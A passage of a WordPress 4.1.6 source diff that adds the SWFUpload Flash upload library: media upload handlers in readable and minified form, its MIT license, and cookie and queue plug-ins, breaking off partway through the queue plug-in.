an=u(aj,am,ah);if(aj.id==ah){w(ah,true)}X.success=true;X.ref=an}else{if(aa&&A()){aj.data=aa;P(aj,am,ah,ac);return}else{w(ah,true)}}if(ac){ac(X)}})}else{if(ac){ac(X)}}},switchOffAutoHideShow:function(){m=false},ua:M,getFlashPlayerVersion:function(){return{major:M.pv[0],minor:M.pv[1],release:M.pv[2]}},hasFlashPlayerVersion:F,createSWF:function(Z,Y,X){if(M.w3){return u(Z,Y,X)}else{return undefined}},showExpressInstall:function(Z,aa,X,Y){if(M.w3&&A()){P(Z,aa,X,Y)}},removeSWF:function(X){if(M.w3){y(X)}},createCSS:function(aa,Z,Y,X){if(M.w3){v(aa,Z,Y,X)}},addDomLoadEvent:K,addLoadEvent:s,getQueryParamValue:function(aa){var Z=j.location.search||j.location.hash;if(Z){if(/\?/.test(Z)){Z=Z.split("?")[1]}if(aa==null){return L(Z)}var Y=Z.split("&");for(var X=0;X<Y.length;X++){if(Y[X].substring(0,Y[X].indexOf("="))==aa){return L(Y[X].substring((Y[X].indexOf("=")+1)))}}}return""},expressInstallCallback:function(){if(a){var X=c(R);if(X&&l){X.parentNode.replaceChild(l,X);if(Q){w(Q,true);if(M.ie&&M.win){l.style.display="block"}}if(E){E(B)}}a=false}}}}();
Index: /tags/4.1.6/src/wp-includes/js/swfupload/handlers.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/swfupload/handlers.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/swfupload/handlers.js	(revision 33402)
@@ -0,0 +1,376 @@
+var topWin = window.dialogArguments || opener || parent || top;
+
+function fileDialogStart() {
+	jQuery("#media-upload-error").empty();
+}
+
+// progress and success handlers for media multi uploads
+function fileQueued(fileObj) {
+	// Get rid of unused form
+	jQuery('.media-blank').remove();
+	// Collapse a single item
+	if ( jQuery('form.type-form #media-items').children().length == 1 && jQuery('.hidden', '#media-items').length > 0 ) {
+		jQuery('.describe-toggle-on').show();
+		jQuery('.describe-toggle-off').hide();
+		jQuery('.slidetoggle').slideUp(200).siblings().removeClass('hidden');
+	}
+	// Create a progress bar containing the filename
+	jQuery('<div class="media-item">')
+		.attr( 'id', 'media-item-' + fileObj.id )
+		.addClass('child-of-' + post_id)
+		.append('<div class="progress"><div class="bar"></div></div>',
+			jQuery('<div class="filename original"><span class="percent"></span>').text( ' ' + fileObj.name ))
+		.appendTo( jQuery('#media-items' ) );
+	// Display the progress div
+	jQuery('.progress', '#media-item-' + fileObj.id).show();
+
+	// Disable submit and enable cancel
+	jQuery('#insert-gallery').prop('disabled', true);
+	jQuery('#cancel-upload').prop('disabled', false);
+}
+
+function uploadStart(fileObj) {
+	try {
+		if ( typeof topWin.tb_remove != 'undefined' )
+			topWin.jQuery('#TB_overlay').unbind('click', topWin.tb_remove);
+	} catch(e){}
+
+	return true;
+}
+
+function uploadProgress(fileObj, bytesDone, bytesTotal) {
+	// Lengthen the progress bar
+	var w = jQuery('#media-items').width() - 2, item = jQuery('#media-item-' + fileObj.id);
+	jQuery('.bar', item).width( w * bytesDone / bytesTotal );
+	jQuery('.percent', item).html( Math.ceil(bytesDone / bytesTotal * 100) + '%' );
+
+	if ( bytesDone == bytesTotal )
+		jQuery('.bar', item).html('<strong class="crunching">' + swfuploadL10n.crunching + '</strong>');
+}
+
+function prepareMediaItem(fileObj, serverData) {
+	var f = ( typeof shortform == 'undefined' ) ? 1 : 2, item = jQuery('#media-item-' + fileObj.id);
+	// Move the progress bar to 100%
+	jQuery('.bar', item).remove();
+	jQuery('.progress', item).hide();
+
+	try {
+		if ( typeof topWin.tb_remove != 'undefined' )
+			topWin.jQuery('#TB_overlay').click(topWin.tb_remove);
+	} catch(e){}
+
+	// Old style: Append the HTML returned by the server -- thumbnail and form inputs
+	if ( isNaN(serverData) || !serverData ) {
+		item.append(serverData);
+		prepareMediaItemInit(fileObj);
+	}
+	// New style: server data is just the attachment ID, fetch the thumbnail and form html from the server
+	else {
+		item.load('async-upload.php', {attachment_id:serverData, fetch:f}, function(){prepareMediaItemInit(fileObj);updateMediaForm()});
+	}
+}
+
+function prepareMediaItemInit(fileObj) {
+	var item = jQuery('#media-item-' + fileObj.id);
+	// Clone the thumbnail as a "pinkynail" -- a tiny image to the left of the filename
+	jQuery('.thumbnail', item).clone().attr('class', 'pinkynail toggle').prependTo(item);
+
+	// Replace the original filename with the new (unique) one assigned during upload
+	jQuery('.filename.original', item).replaceWith( jQuery('.filename.new', item) );
+
+	// Also bind toggle to the links
+	jQuery('a.toggle', item).click(function(){
+		jQuery(this).siblings('.slidetoggle').slideToggle(350, function(){
+			var w = jQuery(window).height(), t = jQuery(this).offset().top, h = jQuery(this).height(), b;
+
+			if ( w && t && h ) {
+                b = t + h;
+
+                if ( b > w && (h + 48) < w )
+                    window.scrollBy(0, b - w + 13);
+                else if ( b > w )
+                    window.scrollTo(0, t - 36);
+            }
+		});
+		jQuery(this).siblings('.toggle').andSelf().toggle();
+		jQuery(this).siblings('a.toggle').focus();
+		return false;
+	});
+
+	// Bind AJAX to the new Delete button
+	jQuery('a.delete', item).click(function(){
+		// Tell the server to delete it. TODO: handle exceptions
+		jQuery.ajax({
+			url: ajaxurl,
+			type: 'post',
+			success: deleteSuccess,
+			error: deleteError,
+			id: fileObj.id,
+			data: {
+				id : this.id.replace(/[^0-9]/g, ''),
+				action : 'trash-post',
+				_ajax_nonce : this.href.replace(/^.*wpnonce=/,'')
+			}
+		});
+		return false;
+	});
+
+	// Bind AJAX to the new Undo button
+	jQuery('a.undo', item).click(function(){
+		// Tell the server to untrash it. TODO: handle exceptions
+		jQuery.ajax({
+			url: ajaxurl,
+			type: 'post',
+			id: fileObj.id,
+			data: {
+				id : this.id.replace(/[^0-9]/g,''),
+				action: 'untrash-post',
+				_ajax_nonce: this.href.replace(/^.*wpnonce=/,'')
+			},
+			success: function(data, textStatus){
+				var item = jQuery('#media-item-' + fileObj.id);
+
+				if ( type = jQuery('#type-of-' + fileObj.id).val() )
+					jQuery('#' + type + '-counter').text(jQuery('#' + type + '-counter').text()-0+1);
+				if ( item.hasClass('child-of-'+post_id) )
+					jQuery('#attachments-count').text(jQuery('#attachments-count').text()-0+1);
+
+				jQuery('.filename .trashnotice', item).remove();
+				jQuery('.filename .title', item).css('font-weight','normal');
+				jQuery('a.undo', item).addClass('hidden');
+				jQuery('a.describe-toggle-on, .menu_order_input', item).show();
+				item.css( {backgroundColor:'#ceb'} ).animate( {backgroundColor: '#fff'}, { queue: false, duration: 500, complete: function(){ jQuery(this).css({backgroundColor:''}); } }).removeClass('undo');
+			}
+		});
+		return false;
+	});
+
+	// Open this item if it says to start open (e.g. to display an error)
+	jQuery('#media-item-' + fileObj.id + '.startopen').removeClass('startopen').slideToggle(500).siblings('.toggle').toggle();
+}
+
+function itemAjaxError(id, html) {
+	var item = jQuery('#media-item-' + id);
+	var filename = jQuery('.filename', item).text();
+
+	item.html('<div class="error-div">'
+				+ '<a class="dismiss" href="#">' + swfuploadL10n.dismiss + '</a>'
+				+ '<strong>' + swfuploadL10n.error_uploading.replace('%s', filename) + '</strong><br />'
+				+ html
+				+ '</div>');
+	item.find('a.dismiss').click(function(){jQuery(this).parents('.media-item').slideUp(200, function(){jQuery(this).remove();})});
+}
+
+function deleteSuccess(data, textStatus) {
+	if ( data == '-1' )
+		return itemAjaxError(this.id, 'You do not have permission. Has your session expired?');
+	if ( data == '0' )
+		return itemAjaxError(this.id, 'Could not be deleted. Has it been deleted already?');
+
+	var id = this.id, item = jQuery('#media-item-' + id);
+
+	// Decrement the counters.
+	if ( type = jQuery('#type-of-' + id).val() )
+		jQuery('#' + type + '-counter').text( jQuery('#' + type + '-counter').text() - 1 );
+	if ( item.hasClass('child-of-'+post_id) )
+		jQuery('#attachments-count').text( jQuery('#attachments-count').text() - 1 );
+
+	if ( jQuery('form.type-form #media-items').children().length == 1 && jQuery('.hidden', '#media-items').length > 0 ) {
+		jQuery('.toggle').toggle();
+		jQuery('.slidetoggle').slideUp(200).siblings().removeClass('hidden');
+	}
+
+	// Vanish it.
+	jQuery('.toggle', item).toggle();
+	jQuery('.slidetoggle', item).slideUp(200).siblings().removeClass('hidden');
+	item.css( {backgroundColor:'#faa'} ).animate( {backgroundColor:'#f4f4f4'}, {queue:false, duration:500} ).addClass('undo');
+
+	jQuery('.filename:empty', item).remove();
+	jQuery('.filename .title', item).css('font-weight','bold');
+	jQuery('.filename', item).append('<span class="trashnotice"> ' + swfuploadL10n.deleted + ' </span>').siblings('a.toggle').hide();
+	jQuery('.filename', item).append( jQuery('a.undo', item).removeClass('hidden') );
+	jQuery('.menu_order_input', item).hide();
+
+	return;
+}
+
+function deleteError(X, textStatus, errorThrown) {
+	// TODO
+}
+
+function updateMediaForm() {
+	var one = jQuery('form.type-form #media-items').children(), items = jQuery('#media-items').children();
+
+	// Just one file, no need for collapsible part
+	if ( one.length == 1 ) {
+		jQuery('.slidetoggle', one).slideDown(500).siblings().addClass('hidden').filter('.toggle').toggle();
+	}
+
+	// Only show Save buttons when there is at least one file.
+	if ( items.not('.media-blank').length > 0 )
+		jQuery('.savebutton').show();
+	else
+		jQuery('.savebutton').hide();
+
+	// Only show Gallery buttons when there are at least two files.
+	if ( items.length > 1 ) {
+		jQuery('.insert-gallery').show();
+	} else {
+		jQuery('.insert-gallery').hide();
+	}
+}
+
+function uploadSuccess(fileObj, serverData) {
+	// if async-upload returned an error message, place it in the media item div and return
+	if ( serverData.match('media-upload-error') ) {
+		jQuery('#media-item-' + fileObj.id).html(serverData);
+		return;
+	}
+
+	prepareMediaItem(fileObj, serverData);
+	updateMediaForm();
+
+	// Increment the counter.
+	if ( jQuery('#media-item-' + fileObj.id).hasClass('child-of-' + post_id) )
+		jQuery('#attachments-count').text(1 * jQuery('#attachments-count').text() + 1);
+}
+
+function uploadComplete(fileObj) {
+	// If no more uploads queued, enable the submit button
+	if ( swfu.getStats().files_queued == 0 ) {
+		jQuery('#cancel-upload').prop('disabled', true);
+		jQuery('#insert-gallery').prop('disabled', false);
+	}
+}
+
+
+// wp-specific error handlers
+
+// generic message
+function wpQueueError(message) {
+	jQuery('#media-upload-error').show().text(message);
+}
+
+// file-specific message
+function wpFileError(fileObj, message) {
+	var item = jQuery('#media-item-' + fileObj.id);
+	var filename = jQuery('.filename', item).text();
+
+	item.html('<div class="error-div">'
+				+ '<a class="dismiss" href="#">' + swfuploadL10n.dismiss + '</a>'
+				+ '<strong>' + swfuploadL10n.error_uploading.replace('%s', filename) + '</strong><br />'
+				+ message
+				+ '</div>');
+	item.find('a.dismiss').click(function(){jQuery(this).parents('.media-item').slideUp(200, function(){jQuery(this).remove();})});
+}
+
+function fileQueueError(fileObj, error_code, message)  {
+	// Handle this error separately because we don't want to create a FileProgress element for it.
+	if ( error_code == SWFUpload.QUEUE_ERROR.QUEUE_LIMIT_EXCEEDED ) {
+		wpQueueError(swfuploadL10n.queue_limit_exceeded);
+	}
+	else if ( error_code == SWFUpload.QUEUE_ERROR.FILE_EXCEEDS_SIZE_LIMIT ) {
+		fileQueued(fileObj);
+		wpFileError(fileObj, swfuploadL10n.file_exceeds_size_limit);
+	}
+	else if ( error_code == SWFUpload.QUEUE_ERROR.ZERO_BYTE_FILE ) {
+		fileQueued(fileObj);
+		wpFileError(fileObj, swfuploadL10n.zero_byte_file);
+	}
+	else if ( error_code == SWFUpload.QUEUE_ERROR.INVALID_FILETYPE ) {
+		fileQueued(fileObj);
+		wpFileError(fileObj, swfuploadL10n.invalid_filetype);
+	}
+	else {
+		wpQueueError(swfuploadL10n.default_error);
+	}
+}
+
+function fileDialogComplete(num_files_queued) {
+	try {
+		if (num_files_queued > 0) {
+			this.startUpload();
+		}
+	} catch (ex) {
+		this.debug(ex);
+	}
+}
+
+function switchUploader(s) {
+	var f = document.getElementById(swfu.customSettings.swfupload_element_id), h = document.getElementById(swfu.customSettings.degraded_element_id);
+	if ( s ) {
+		f.style.display = 'block';
+		h.style.display = 'none';
+	} else {
+		f.style.display = 'none';
+		h.style.display = 'block';
+	}
+}
+
+function swfuploadPreLoad() {
+	if ( !uploaderMode ) {
+		switchUploader(1);
+	} else {
+		switchUploader(0);
+	}
+}
+
+function swfuploadLoadFailed() {
+	switchUploader(0);
+	jQuery('.upload-html-bypass').hide();
+}
+
+function uploadError(fileObj, errorCode, message) {
+
+	switch (errorCode) {
+		case SWFUpload.UPLOAD_ERROR.MISSING_UPLOAD_URL:
+			wpFileError(fileObj, swfuploadL10n.missing_upload_url);
+			break;
+		case SWFUpload.UPLOAD_ERROR.UPLOAD_LIMIT_EXCEEDED:
+			wpFileError(fileObj, swfuploadL10n.upload_limit_exceeded);
+			break;
+		case SWFUpload.UPLOAD_ERROR.HTTP_ERROR:
+			wpQueueError(swfuploadL10n.http_error);
+			break;
+		case SWFUpload.UPLOAD_ERROR.UPLOAD_FAILED:
+			wpQueueError(swfuploadL10n.upload_failed);
+			break;
+		case SWFUpload.UPLOAD_ERROR.IO_ERROR:
+			wpQueueError(swfuploadL10n.io_error);
+			break;
+		case SWFUpload.UPLOAD_ERROR.SECURITY_ERROR:
+			wpQueueError(swfuploadL10n.security_error);
+			break;
+		case SWFUpload.UPLOAD_ERROR.UPLOAD_STOPPED:
+		case SWFUpload.UPLOAD_ERROR.FILE_CANCELLED:
+			jQuery('#media-item-' + fileObj.id).remove();
+			break;
+		default:
+			wpFileError(fileObj, swfuploadL10n.default_error);
+	}
+}
+
+function cancelUpload() {
+	swfu.cancelQueue();
+}
+
+// remember the last used image size, alignment and url
+jQuery(document).ready(function($){
+	$('input[type="radio"]', '#media-items').live('click', function(){
+		var tr = $(this).closest('tr');
+
+		if ( $(tr).hasClass('align') )
+			setUserSetting('align', $(this).val());
+		else if ( $(tr).hasClass('image-size') )
+			setUserSetting('imgsize', $(this).val());
+	});
+
+	$('button.button', '#media-items').live('click', function(){
+		var c = this.className || '';
+		c = c.match(/url([^ '"]+)/);
+		if ( c && c[1] ) {
+			setUserSetting('urlbutton', c[1]);
+			$(this).siblings('.urlfield').val( $(this).attr('title') );
+		}
+	});
+});
Index: /tags/4.1.6/src/wp-includes/js/swfupload/handlers.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/swfupload/handlers.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/swfupload/handlers.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+var topWin=window.dialogArguments||opener||parent||top;function fileDialogStart(){jQuery("#media-upload-error").empty()}function fileQueued(a){jQuery(".media-blank").remove();if(jQuery("form.type-form #media-items").children().length==1&&jQuery(".hidden","#media-items").length>0){jQuery(".describe-toggle-on").show();jQuery(".describe-toggle-off").hide();jQuery(".slidetoggle").slideUp(200).siblings().removeClass("hidden")}jQuery('<div class="media-item">').attr("id","media-item-"+a.id).addClass("child-of-"+post_id).append('<div class="progress"><div class="bar"></div></div>',jQuery('<div class="filename original"><span class="percent"></span>').text(" "+a.name)).appendTo(jQuery("#media-items"));jQuery(".progress","#media-item-"+a.id).show();jQuery("#insert-gallery").prop("disabled",true);jQuery("#cancel-upload").prop("disabled",false)}function uploadStart(a){try{if(typeof topWin.tb_remove!="undefined"){topWin.jQuery("#TB_overlay").unbind("click",topWin.tb_remove)}}catch(b){}return true}function uploadProgress(e,b,d){var a=jQuery("#media-items").width()-2,c=jQuery("#media-item-"+e.id);jQuery(".bar",c).width(a*b/d);jQuery(".percent",c).html(Math.ceil(b/d*100)+"%");if(b==d){jQuery(".bar",c).html('<strong class="crunching">'+swfuploadL10n.crunching+"</strong>")}}function prepareMediaItem(c,a){var d=(typeof shortform=="undefined")?1:2,b=jQuery("#media-item-"+c.id);jQuery(".bar",b).remove();jQuery(".progress",b).hide();try{if(typeof topWin.tb_remove!="undefined"){topWin.jQuery("#TB_overlay").click(topWin.tb_remove)}}catch(g){}if(isNaN(a)||!a){b.append(a);prepareMediaItemInit(c)}else{b.load("async-upload.php",{attachment_id:a,fetch:d},function(){prepareMediaItemInit(c);updateMediaForm()})}}function prepareMediaItemInit(b){var a=jQuery("#media-item-"+b.id);jQuery(".thumbnail",a).clone().attr("class","pinkynail toggle").prependTo(a);jQuery(".filename.original",a).replaceWith(jQuery(".filename.new",a));jQuery("a.toggle",a).click(function(){jQuery(this).siblings(".slidetoggle").slideToggle(350,function(){var d=jQuery(window).height(),e=jQuery(this).offset().top,f=jQuery(this).height(),c;if(d&&e&&f){c=e+f;if(c>d&&(f+48)<d){window.scrollBy(0,c-d+13)}else{if(c>d){window.scrollTo(0,e-36)}}}});jQuery(this).siblings(".toggle").andSelf().toggle();jQuery(this).siblings("a.toggle").focus();return false});jQuery("a.delete",a).click(function(){jQuery.ajax({url:ajaxurl,type:"post",success:deleteSuccess,error:deleteError,id:b.id,data:{id:this.id.replace(/[^0-9]/g,""),action:"trash-post",_ajax_nonce:this.href.replace(/^.*wpnonce=/,"")}});return false});jQuery("a.undo",a).click(function(){jQuery.ajax({url:ajaxurl,type:"post",id:b.id,data:{id:this.id.replace(/[^0-9]/g,""),action:"untrash-post",_ajax_nonce:this.href.replace(/^.*wpnonce=/,"")},success:function(d,e){var c=jQuery("#media-item-"+b.id);if(type=jQuery("#type-of-"+b.id).val()){jQuery("#"+type+"-counter").text(jQuery("#"+type+"-counter").text()-0+1)}if(c.hasClass("child-of-"+post_id)){jQuery("#attachments-count").text(jQuery("#attachments-count").text()-0+1)}jQuery(".filename .trashnotice",c).remove();jQuery(".filename .title",c).css("font-weight","normal");jQuery("a.undo",c).addClass("hidden");jQuery("a.describe-toggle-on, .menu_order_input",c).show();c.css({backgroundColor:"#ceb"}).animate({backgroundColor:"#fff"},{queue:false,duration:500,complete:function(){jQuery(this).css({backgroundColor:""})}}).removeClass("undo")}});return false});jQuery("#media-item-"+b.id+".startopen").removeClass("startopen").slideToggle(500).siblings(".toggle").toggle()}function itemAjaxError(d,b){var c=jQuery("#media-item-"+d);var a=jQuery(".filename",c).text();c.html('<div class="error-div"><a class="dismiss" href="#">'+swfuploadL10n.dismiss+"</a><strong>"+swfuploadL10n.error_uploading.replace("%s",a)+"</strong><br />"+b+"</div>");c.find("a.dismiss").click(function(){jQuery(this).parents(".media-item").slideUp(200,function(){jQuery(this).remove()})})}function deleteSuccess(b,d){if(b=="-1"){return itemAjaxError(this.id,"You do not have permission. Has your session expired?")}if(b=="0"){return itemAjaxError(this.id,"Could not be deleted. Has it been deleted already?")}var c=this.id,a=jQuery("#media-item-"+c);if(type=jQuery("#type-of-"+c).val()){jQuery("#"+type+"-counter").text(jQuery("#"+type+"-counter").text()-1)}if(a.hasClass("child-of-"+post_id)){jQuery("#attachments-count").text(jQuery("#attachments-count").text()-1)}if(jQuery("form.type-form #media-items").children().length==1&&jQuery(".hidden","#media-items").length>0){jQuery(".toggle").toggle();jQuery(".slidetoggle").slideUp(200).siblings().removeClass("hidden")}jQuery(".toggle",a).toggle();jQuery(".slidetoggle",a).slideUp(200).siblings().removeClass("hidden");a.css({backgroundColor:"#faa"}).animate({backgroundColor:"#f4f4f4"},{queue:false,duration:500}).addClass("undo");jQuery(".filename:empty",a).remove();jQuery(".filename .title",a).css("font-weight","bold");jQuery(".filename",a).append('<span class="trashnotice"> '+swfuploadL10n.deleted+" </span>").siblings("a.toggle").hide();jQuery(".filename",a).append(jQuery("a.undo",a).removeClass("hidden"));jQuery(".menu_order_input",a).hide();return}function deleteError(c,b,a){}function updateMediaForm(){var b=jQuery("form.type-form #media-items").children(),a=jQuery("#media-items").children();if(b.length==1){jQuery(".slidetoggle",b).slideDown(500).siblings().addClass("hidden").filter(".toggle").toggle()}if(a.not(".media-blank").length>0){jQuery(".savebutton").show()}else{jQuery(".savebutton").hide()}if(a.length>1){jQuery(".insert-gallery").show()}else{jQuery(".insert-gallery").hide()}}function uploadSuccess(b,a){if(a.match("media-upload-error")){jQuery("#media-item-"+b.id).html(a);return}prepareMediaItem(b,a);updateMediaForm();if(jQuery("#media-item-"+b.id).hasClass("child-of-"+post_id)){jQuery("#attachments-count").text(1*jQuery("#attachments-count").text()+1)}}function uploadComplete(a){if(swfu.getStats().files_queued==0){jQuery("#cancel-upload").prop("disabled",true);jQuery("#insert-gallery").prop("disabled",false)}}function wpQueueError(a){jQuery("#media-upload-error").show().text(a)}function wpFileError(d,c){var b=jQuery("#media-item-"+d.id);var a=jQuery(".filename",b).text();b.html('<div class="error-div"><a class="dismiss" href="#">'+swfuploadL10n.dismiss+"</a><strong>"+swfuploadL10n.error_uploading.replace("%s",a)+"</strong><br />"+c+"</div>");b.find("a.dismiss").click(function(){jQuery(this).parents(".media-item").slideUp(200,function(){jQuery(this).remove()})})}function fileQueueError(c,a,b){if(a==SWFUpload.QUEUE_ERROR.QUEUE_LIMIT_EXCEEDED){wpQueueError(swfuploadL10n.queue_limit_exceeded)}else{if(a==SWFUpload.QUEUE_ERROR.FILE_EXCEEDS_SIZE_LIMIT){fileQueued(c);wpFileError(c,swfuploadL10n.file_exceeds_size_limit)}else{if(a==SWFUpload.QUEUE_ERROR.ZERO_BYTE_FILE){fileQueued(c);wpFileError(c,swfuploadL10n.zero_byte_file)}else{if(a==SWFUpload.QUEUE_ERROR.INVALID_FILETYPE){fileQueued(c);wpFileError(c,swfuploadL10n.invalid_filetype)}else{wpQueueError(swfuploadL10n.default_error)}}}}}function fileDialogComplete(b){try{if(b>0){this.startUpload()}}catch(a){this.debug(a)}}function switchUploader(b){var c=document.getElementById(swfu.customSettings.swfupload_element_id),a=document.getElementById(swfu.customSettings.degraded_element_id);if(b){c.style.display="block";a.style.display="none"}else{c.style.display="none";a.style.display="block"}}function swfuploadPreLoad(){if(!uploaderMode){switchUploader(1)}else{switchUploader(0)}}function swfuploadLoadFailed(){switchUploader(0);jQuery(".upload-html-bypass").hide()}function uploadError(b,c,a){switch(c){case SWFUpload.UPLOAD_ERROR.MISSING_UPLOAD_URL:wpFileError(b,swfuploadL10n.missing_upload_url);break;case SWFUpload.UPLOAD_ERROR.UPLOAD_LIMIT_EXCEEDED:wpFileError(b,swfuploadL10n.upload_limit_exceeded);break;case SWFUpload.UPLOAD_ERROR.HTTP_ERROR:wpQueueError(swfuploadL10n.http_error);break;case SWFUpload.UPLOAD_ERROR.UPLOAD_FAILED:wpQueueError(swfuploadL10n.upload_failed);break;case SWFUpload.UPLOAD_ERROR.IO_ERROR:wpQueueError(swfuploadL10n.io_error);break;case SWFUpload.UPLOAD_ERROR.SECURITY_ERROR:wpQueueError(swfuploadL10n.security_error);break;case SWFUpload.UPLOAD_ERROR.UPLOAD_STOPPED:case SWFUpload.UPLOAD_ERROR.FILE_CANCELLED:jQuery("#media-item-"+b.id).remove();break;default:wpFileError(b,swfuploadL10n.default_error)}}function cancelUpload(){swfu.cancelQueue()}jQuery(document).ready(function(a){a('input[type="radio"]',"#media-items").live("click",function(){var b=a(this).closest("tr");if(a(b).hasClass("align")){setUserSetting("align",a(this).val())}else{if(a(b).hasClass("image-size")){setUserSetting("imgsize",a(this).val())}}});a("button.button","#media-items").live("click",function(){var b=this.className||"";b=b.match(/url([^ '"]+)/);if(b&&b[1]){setUserSetting("urlbutton",b[1]);a(this).siblings(".urlfield").val(a(this).attr("title"))}})});
Index: /tags/4.1.6/src/wp-includes/js/swfupload/license.txt
===================================================================
--- /tags/4.1.6/src/wp-includes/js/swfupload/license.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/swfupload/license.txt	(revision 33402)
@@ -0,0 +1,32 @@
+/**
+ * SWFUpload: http://www.swfupload.org, http://swfupload.googlecode.com
+ *
+ * mmSWFUpload 1.0: Flash upload dialog - http://profandesign.se/swfupload/,  http://www.vinterwebb.se/
+ *
+ * SWFUpload is (c) 2006-2007 Lars Huring, Olov Nilzén and Mammon Media and is released under the MIT License:
+ * http://www.opensource.org/licenses/mit-license.php
+ *
+ * SWFUpload 2 is (c) 2007-2008 Jake Roberts and is released under the MIT License:
+ * http://www.opensource.org/licenses/mit-license.php
+ *
+ */
+
+The MIT License
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
Index: /tags/4.1.6/src/wp-includes/js/swfupload/plugins/swfupload.cookies.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/swfupload/plugins/swfupload.cookies.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/swfupload/plugins/swfupload.cookies.js	(revision 33402)
@@ -0,0 +1,53 @@
+/*
+	Cookie Plug-in
+	
+	This plug in automatically gets all the cookies for this site and adds them to the post_params.
+	Cookies are loaded only on initialization.  The refreshCookies function can be called to update the post_params.
+	The cookies will override any other post params with the same name.
+*/
+
+var SWFUpload;
+if (typeof(SWFUpload) === "function") {
+	SWFUpload.prototype.initSettings = function (oldInitSettings) {
+		return function () {
+			if (typeof(oldInitSettings) === "function") {
+				oldInitSettings.call(this);
+			}
+			
+			this.refreshCookies(false);	// The false parameter must be sent since SWFUpload has not initialzed at this point
+		};
+	}(SWFUpload.prototype.initSettings);
+	
+	// refreshes the post_params and updates SWFUpload.  The sendToFlash parameters is optional and defaults to True
+	SWFUpload.prototype.refreshCookies = function (sendToFlash) {
+		if (sendToFlash === undefined) {
+			sendToFlash = true;
+		}
+		sendToFlash = !!sendToFlash;
+		
+		// Get the post_params object
+		var postParams = this.settings.post_params;
+		
+		// Get the cookies
+		var i, cookieArray = document.cookie.split(';'), caLength = cookieArray.length, c, eqIndex, name, value;
+		for (i = 0; i < caLength; i++) {
+			c = cookieArray[i];
+			
+			// Left Trim spaces
+			while (c.charAt(0) === " ") {
+				c = c.substring(1, c.length);
+			}
+			eqIndex = c.indexOf("=");
+			if (eqIndex > 0) {
+				name = c.substring(0, eqIndex);
+				value = c.substring(eqIndex + 1);
+				postParams[name] = value;
+			}
+		}
+		
+		if (sendToFlash) {
+			this.setPostParams(postParams);
+		}
+	};
+
+}
Index: /tags/4.1.6/src/wp-includes/js/swfupload/plugins/swfupload.queue.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/swfupload/plugins/swfupload.queue.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/swfupload/plugins/swfupload.queue.js	(revision 33402)
@@ -0,0 +1,98 @@
+/*
+	Queue Plug-in
+	
+	Features:
+		*Adds a cancelQueue() method for cancelling the entire queue.
+		*All queued files are uploaded when startUpload() is called.
+		*If false is returned from uploadComplete then the queue upload is stopped.
+		 If false is not returned (strict comparison) then the queue upload is continued.
+		*Adds a QueueComplete event that is fired when all the queued files have finished uploading.
+		 Set the event handler with the queue_complete_handler setting.
+		
+	*/
+
+var SWFUpload;
+if (typeof(SWFUpload) === "function") {
+	SWFUpload.queue = {};
+	
+	SWFUpload.prototype.initSettings = (function (oldInitSettings) {
+		return function () {
+			if (typeof(oldInitSettings) === "function") {
+				oldInitSettings.call(this);
+			}
+			
+			this.queueSettings = {};
+			
+			this.queueSettings.queue_cancelled_flag = false;
+			this.queueSettings.queue_upload_count = 0;
+			
+			this.queueSettings.user_upload_complete_handler = this.settings.upload_complete_handler;
+			this.queueSettings.user_upload_start_handler = this.settings.upload_start_handler;
+			this.settings.upload_complete_handler = SWFUpload.queue.uploadCompleteHandler;
+			this.settings.upload_start_handler = SWFUpload.queue.uploadStartHandler;
+			
+			this.settings.queue_complete_handler = this.settings.queue_complete_handler || null;
+		};
+	})(SWFUpload.prototype.initSettings);
+
+	SWFUpload.prototype.startUpload = function (fileID) {
+		this.queueSettings.queue_cancelled_flag = false;
+		this.callFlash("StartUpload", [fileID]);
+	};
+
+	SWFUpload.prototype.cancelQueue = function () {
+		this.queueSettings.queue_cancelled_flag = true;
+		this.stopUpload();
+		
+		var stats = this.getStats();
+		while (stats.files_queued > 0) {
+			this.cancelUpload();
+			stats = this.getStats();
+		}
+	};
+	
+	SWFUpload.queue.uploadStartHandler = function (file) {
+		var returnValue;
+		if (typeof(this.queueSettings.user_upload_start_handler) === "function") {
+			returnValue = this.queueSettings.user_upload_start_handler.call(this, file);
+		}
+		
+		// To prevent upload a real "FALSE" value must be returned, otherwise default to a real "TRUE" value.
+		returnValue = (returnValue === false) ? false : true;
+		
+		this.queueSettings.queue_cancelled_flag = !returnValue;
+
+		return returnValue;
+	};
+	
+	SWFUpload.queue.uploadCompleteHandler = function (file) {
+		var user_upload_complete_handler = this.queueSettings.user_upload_complete_handler;
+		var continueUpload;
+		
+		if (file.filestatus === SWFUpload.FILE_STATUS.COMPLETE) {
+			this.queueSettings.queue_upload_count++;
+		}
+
+		if (typeof(user_upload_complete_handler) === "function") {
+			continueUpload = (user_upload_complete_handler.call(this, file) === false) ? false : true;
+		} else if (file.filestatus === SWFUpload.FILE_STATUS.QUEUED) {
+			// If the file was stopped and re-queued don't restart the upload
+			continueUpload = false;
+		} else {
+			continueUpload = true;
+		}
+		
+		if (continueUpload) {
+			var stats = this.getStats();
